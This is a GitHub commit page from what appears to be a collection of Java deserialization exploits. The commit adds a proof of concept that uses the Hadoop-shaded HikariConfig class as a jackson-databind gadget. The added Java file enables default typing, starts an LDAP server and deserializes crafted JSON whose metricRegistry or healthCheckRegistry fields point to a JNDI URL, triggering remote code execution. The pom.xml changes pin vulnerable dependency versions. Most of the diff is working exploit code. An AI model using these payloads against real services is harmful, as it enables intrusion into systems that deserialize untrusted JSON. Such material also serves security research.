Skip to content

Commit 0ccd82e

Browse files
author
threedr3am
committed
feat:jackson新gadget(hadoop)
1 parent a5839c5 commit 0ccd82e

File tree

3 files changed

+61
-3
lines changed

3 files changed

+61
-3
lines changed

jackson/pom.xml

Lines changed: 18 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,10 +16,12 @@
1616
<!-- <jackson.version>2.9.9.1</jackson.version>-->
1717

1818
<!-- CVE-2019-20330-->
19-
<jackson.version>2.9.10.1</jackson.version>
19+
<!-- <jackson.version>2.9.10.1</jackson.version>-->
2020

2121
<!-- CVE-2020-8840-->
2222
<!-- <jackson.version>2.10.2</jackson.version>-->
23+
24+
<jackson.version>2.9.10.3</jackson.version>
2325
</properties>
2426

2527
<dependencies>
@@ -77,7 +79,21 @@
7779
<dependency>
7880
<groupId>javax</groupId>
7981
<artifactId>javaee-api</artifactId>
80-
<version>6.0</version>
82+
<version>8.0.1</version>
83+
</dependency>
84+
85+
<!-- https://mvnrepository.com/artifact/hikari-cp/hikari-cp -->
86+
<dependency>
87+
<groupId>com.zaxxer</groupId>
88+
<artifactId>HikariCP</artifactId>
89+
<version>3.4.1</version>
90+
</dependency>
91+
92+
<!-- https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-client-minicluster -->
93+
<dependency>
94+
<groupId>org.apache.hadoop</groupId>
95+
<artifactId>hadoop-client-minicluster</artifactId>
96+
<version>3.2.1</version>
8197
</dependency>
8298
</dependencies>
8399

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
package com.threedr3am.bug.jackson;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
*
9+
* jackson-databind <= 2.9.10.3 and <= 2.10.2 RCE,需要开启DefaultType (reported by threedr3am to the authorities)
10+
*
11+
* <dependency>
12+
* <groupId>org.apache.hadoop</groupId>
13+
* <artifactId>hadoop-client-minicluster</artifactId>
14+
* <version>3.2.1</version>
15+
* </dependency>
16+
*
17+
* @author threedr3am
18+
*/
19+
public class HadoopHikariConfigPoc {
20+
21+
static {
22+
//rmi server示例
23+
// RmiServer.run();
24+
25+
//ldap server示例
26+
LdapServer.run();
27+
}
28+
29+
public static void main(String[] args) throws IOException {
30+
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
31+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
32+
33+
ObjectMapper mapper = new ObjectMapper();
34+
mapper.enableDefaultTyping();
35+
36+
// String json = "[\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\":\"rmi://localhost:43657/Calc\"}]";
37+
String json = "[\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\":\"ldap://localhost:43658/Calc\"}]";
38+
// String json2 = "[\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\", {\"healthCheckRegistry\":\"rmi://localhost:43657/Calc\"}]";
39+
String json2 = "[\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\", {\"healthCheckRegistry\":\"ldap://localhost:43658/Calc\"}]";
40+
mapper.readValue(json, Object.class);
41+
}
42+
}

jackson/src/main/java/com/threedr3am/bug/jackson/JndiConverterPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
/**
88
*
9-
* jackson-databind <= 2.10.2 RCE,需要开启DefaultType
9+
* jackson-databind <= 2.10.2 RCE,需要开启DefaultType (reported by threedr3am to the authorities)
1010
*
1111
* CVE-2020-8840
1212
*

0 commit comments

Comments
 (0)